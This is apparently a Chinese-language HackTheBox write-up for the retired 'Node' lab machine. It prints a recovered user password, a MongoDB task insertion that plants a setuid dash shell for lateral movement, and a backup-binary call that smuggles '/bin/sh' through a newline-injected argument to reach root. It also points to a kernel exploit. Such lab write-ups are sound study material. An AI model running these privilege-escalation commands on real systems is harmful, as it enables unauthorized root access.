本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.58
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.58 -o ./Node-autorecon
此靶机在做vulnhub的时候是一样的靶机,参考链接地址:https://www.cnblogs.com/autopwn/p/13489720.html 在vulnhub上做的提权方式很简单,直接利用exploit,而htb的靶机按照官方的意思是需要同缓冲区溢出漏洞提权到root
得到如下结果:
访问web应3000端口,最终得到一个下载的文件,这期间过程我就省略了,因为vulnhub我已经操作了一边
经过一把操作的得出了登录目标靶机用户的账户和密码
mark:5AYRft73VtFpc84k
到了这里我在vulnhub上操作的方式是直接下载一个exploit直接提权,对应的exploit地址:
https://www.exploit-db.com/exploits/44298 https://github.com/offensive-security/exploitdb/blob/master/exploits/linux/local/44298.c
在目标靶机上编译执行即可提权,而官方htb提权方式是通过分析目标的数据库mongdb和二进制文件进行提权
首先是横向移动到tom用户,因为登录到目标靶机的用户权mark权限很低,执行下面3条命令移动到tom用户
mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler db.tasks.insert( { "cmd" : "cp /bin/dash /tmp/bmfx; chown tom:admin /tmp/bmfx; chmod 6755 /tmp/bmfx;" }) db.tasks.find()
移动到tom用户成功之后使用枚举提权脚本知悉了路径/usr/local/bin/下有一个backup的二进制文件,通过分析可以提权
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf '\n/bin/sh\necho OK')"
具体分析可以参考:
https://alamot.github.io/node_writeup/ https://reboare.github.io/hackthebox/node.html https://ech1.netlify.app/htb/medium/13 https://medium.com/@fellsec/hackthebox-write-up-node-9199e460f06